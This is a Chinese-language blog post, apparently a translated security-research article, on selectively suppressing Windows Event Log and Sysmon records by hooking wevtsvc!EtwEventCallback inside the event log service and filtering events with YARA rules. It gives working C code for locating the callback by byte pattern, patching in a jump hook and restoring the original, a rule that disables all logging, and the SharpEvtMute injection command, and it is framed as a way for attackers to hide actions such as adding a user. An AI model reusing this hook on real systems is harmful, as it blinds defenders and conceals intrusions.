windows获取硬件设备的guid_安全研究 | YARA规则阻止Windows事件日志记录

baf1bd358902c1eb49584c391f19fbb1.png

写在前面的话

事件日志搭配Windows事件转发和Sysmon,将会成为一个非常强大的安全防御方案,可以帮助研究人员检测攻击者在目标设备上的每一步非法操作。很明显,这是攻击者需要解决的问题。如果不能实现提权的话,攻击者能绕过事件日志的方式还是有限的,一旦实现提权,那结果可就不同了。

那么,怎么做才能在过滤掉攻击活动日志的同时,保留住正常的事件日志呢?

几年之前,@hlldz曾发布过一款名叫Invoke-Phant0m的工具。这是一款Windows日志清理工具,它可以找到目标事件对应的进程,然后终止掉所有通过wevtsvc.dll运行的线程。这是因为wevtsvc.dll是一个事件日志服务,因此终止它以及相关线程就可以禁用掉日志记录功能了。但是,这样将停用所有的事件日志。那么为了解决这个问题,我们需要实现Invoke-Phant0m类似的功能,但需要支持事件报告过滤,这样就可以只阻止与恶意行为相关的事件被记录了。

逆向分析事件日志服务

在对wevtsvc.dll分析的过程中,我们发现它会通过OpenTraceW来打开一个追踪会话:

af10ad148f4eeda0a5b9137b8c684273.png

OpenTraceW使用EVENT_TRACE_LOGFILEW结构体作为参数,这个结构体包含了EventRecordCallback的值,它指向目标事件的一个回调函数。

使用windbg进行深入分析后,我发现这个回调函数就是wevtsvc!EtwEventCallback:

77678a8d4801cb86ef7165f82a19b0ec.png

通过对回调函数代码进行反汇编,我发现它是一个调用了EventCallback的程序集:

9535c677f7c6a94b7fc8e9a1a6fa8619.png

在wevtsvc!EtwEventCallback上设置断点,我们就会发现它将在EVENT_RECORD结构体中接收事件信息:

typedef struct _EVENT_RECORD {  EVENT_HEADER                     EventHeader;  ETW_BUFFER_CONTEXT               BufferContext;  USHORT                           ExtendedDataCount;  USHORT                           UserDataLength;  PEVENT_HEADER_EXTENDED_DATA_ITEM ExtendedData;  PVOID                            UserData;  PVOID                            UserContext;} EVENT_RECORD, *PEVENT_RECORD;

EVENT_HEADER结构体中包含了大量事件详细信息,包括报告事件的提供方,在windbg的帮助下,我们可以获取到提供方的GUID:

0b076c4bf7ec85786510c45e9527b055.png

拿到事件提供方的GUID后,我们就可以使用logman.exe来查询提供方身份了,这里我们可以看到提供方就是Microsoft-Windows-Sysmon:

399f4845ebeb6efdef3d8397ae535d8c.png

我们可以在这里通过添加一个ret命令来篡改该函数,并阻止所有的事件报告生成:

08b9f2437f85bcd514a10605fb2df28b.png

在下图中,你可以看到我清楚掉了一条7:01创建的事件日志,并在7:04时添加了一个新用户,但是这个操作没有被记录下来,因为我们在回调函数代码中添加的ret指令能够让系统范围内的所有事件都不会被报告:

efc4902e0046c0a0440c6a620db82438.png

设置函数钩子

PoC正常执行后,我们就可以看是编写漏洞利用代码了。我们需要做的第一件事就是找到wevtsvc!EtwEventCallback的偏移量,这样我们就知道应该把函数钩子设置在哪里了。首先,我们要定位wevtsvc.dll的基地址。下面的代码可以获取该地址,并存储至dwBase变量中:

DWORD_PTR dwBase;DWORD     i, dwSizeNeeded;HMODULE   hModules[102400];TCHAR     szModule[MAX_PATH];if (EnumProcessModules(GetCurrentProcess(), hModules, sizeof(hModules), &dwSizeNeeded)){    for (int i = 0; i < (dwSizeNeeded / sizeof(HMODULE)); i++)    {        ZeroMemory((PVOID)szModule, MAX_PATH);        if (GetModuleBaseNameA(GetCurrentProcess(), hModules[i], (LPSTR)szModule, sizeof(szModule) / sizeof(TCHAR)))        {            if (!strcmp("wevtsvc.dll", (const char*)szModule))            {                dwBase = (DWORD_PTR)hModules[i];            }        }    }}

接下来,使用windbg来进行反汇编来查看回调开始时的字节位置,然后进行内存扫描,找到这些字节之后,我们也就找到了设置钩子的地方了:

29074461a79be6ce325ca89a49b5bf01.png

下面这段代码将搜索从wevtsvc.dll基地址的起始字节0xfffff,以找到4883ec384c8b0d:

#define PATTERN "\x48\x83\xec\x38\x4c\x8b\x0d"DWORD i;LPVOID lpCallbackOffset;for (i = 0; i < 0xfffff; i++){    if (!memcmp((PVOID)(dwBase + i), (unsigned char*)PATTERN, strlen(PATTERN)))    {        lpCallbackOffset = (LPVOID)(dwBase + i);    }}

获取到偏移量后,我们可以调用memcpy来拷贝字节位置:

memcpy(OriginalBytes, lpCallbackOffset, 50);接下来,设置一个钩子来将所有针对EtwEventCallback的调用重定向到EtwCallbackHook:VOID HookEtwCallback(){    DWORD oldProtect, oldOldProtect;    unsigned char boing[] = { 0x49, 0xbb, 0xde, 0xad, 0xc0, 0xde, 0xde, 0xad, 0xc0, 0xde, 0x41, 0xff, 0xe3 };    *(void **)(boing + 2) = &EtwCallbackHook;    VirtualProtect(lpCallbackOffset, 13, PAGE_EXECUTE_READWRITE, &oldProtect);    memcpy(lpCallbackOffset, boing, sizeof(boing));    VirtualProtect(lpCallbackOffset, 13, oldProtect, &oldOldProtect);    return;}

但是,如果想要报告那些我们不需要阻止的事件,我们就需要恢复原先的回调执行了,因此我们还需要在它报告合法事件之后,重新设置钩子,以便捕捉后续事件。这里我们可以使用一个typedef来实现:

t

ypedef VOID(WINAPI * EtwEventCallback_) (EVENT_RECORD *EventRecord);VOID DoOriginalEtwCallback( EVENT_RECORD *EventRecord ){    DWORD dwOldProtect;    VirtualProtect(lpCallbackOffset, sizeof(OriginalBytes), PAGE_EXECUTE_READWRITE, &dwOldProtect);    memcpy(lpCallbackOffset, OriginalBytes, sizeof(OriginalBytes));    VirtualProtect(lpCallbackOffset, sizeof(OriginalBytes), dwOldProtect, &dwOldProtect);    EtwEventCallback_ EtwEventCallback = (EtwEventCallback_)lpCallbackOffset;    EtwEventCallback(EventRecord);    HookEtwCallback();}

完成上述操作之后,我们就能够找到ETW回调函数的偏移量,然后将其挂钩到我们自己的函数并解析数据,最终解除回调并报告事件。

我们可以在windbg中看到解析后的事件:

9cf0d09ae206fc896381bba521eeb6eb.png

YARA与模式匹配

接下来,我们就要实现日志过滤器了。在这里,我定义了下列宏来保持代码风格一致性:

c3eb505593f88a3e8e90b3afd86196a9.png

下面的代码将创建一个YARA规则中对象,并在YRRulesScanMem中使用:

#define RULE_ALLOW_ALL "rule Allow { condition: false }"YRInitalize();RtlCopyMemory(cRule, RULE_ALLOW_ALL, strlen(RULE_ALLOW_ALL));if (YRCompilerCreate(&yrCompiler) != ERROR_SUCCESS){  return -1;}if (YRCompilerAddString(yrCompiler, cRule, NULL) != ERROR_SUCCESS){  return -1;}YRCompilerGetRules(yrCompiler, &yrRules);

YARA规则写好后,我们就可以开始扫描内存了。下面我们会扫描包含格式化事件内容的StringBuffer变量,并将结果传递给YARA回调函数ToReportOrNotToReportThatIsTheQuestion。该函数将根据规则是否匹配而将dwReport变量设置为0或1。如果PIPE_NAME变量出现在事件中,还需要对其进行检查。因为EvtMuteHook.dll将使用一个命名管道来动态更新当前规则,这将会生成事件日志,所以这个检查将确保这些事件日志不会被报告:

INT ToReportOrNotToReportThatIsTheQuestion( YR_SCAN_CONTEXT* Context,    INT Message,    PVOID pMessageData,    PVOID pUserData){    if (Message == CALLBACK_MSG_RULE_MATCHING)    {        (*(int*)pUserData) = 1;    }    if (Message == CALLBACK_MSG_RULE_NOT_MATCHING)    {        (*(int*)pUserData) = 0;    }    return CALLBACK_CONTINUE;}YRRulesScanMem(yrRules, (uint8_t*)StringBuffer, strlen(StringBuffer), 0, ToReportOrNotToReportThatIsTheQuestion, &dwReport, 0);if (dwReport == 0){    if (strstr(StringBuffer, PIPE_NAME) == NULL)    {        DoOriginalEtwCallback(EventRecord);    }}

禁用所有日志记录

我们可以使用下列YARA规则来在系统范围内禁用事件日志记录:

rule disable { condition: true }

接下来,将钩子注入到事件服务中:

.\SharpEvtMute.exe --Inject

ff5c5e9b099ff91f14b8c9d54a66c612.png

设置好钩子后,还需要添加过滤器:

e966090533f24b50ec0b18f99255b89c.png

现在,所有的事件都不会被记录。

d884f95b79fac83f41a28cb18f0451ab.gif

精彩推荐

e4b248a5f7e1e2514978ec63cea533f2.png 9512f122b486ba4cb3bf8baa0cf731b7.png 71c8c77c425e30f7c6d3844271d9b39a.png

4b1af30f5e7062001d73ec4441b320bd.pnga33df216030f15f77f673e8d9a14adf0.pngbca9999ea5af88992950b4e7b1ad9c9e.png

7e6c6701272ebb3947c53853cd707055.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值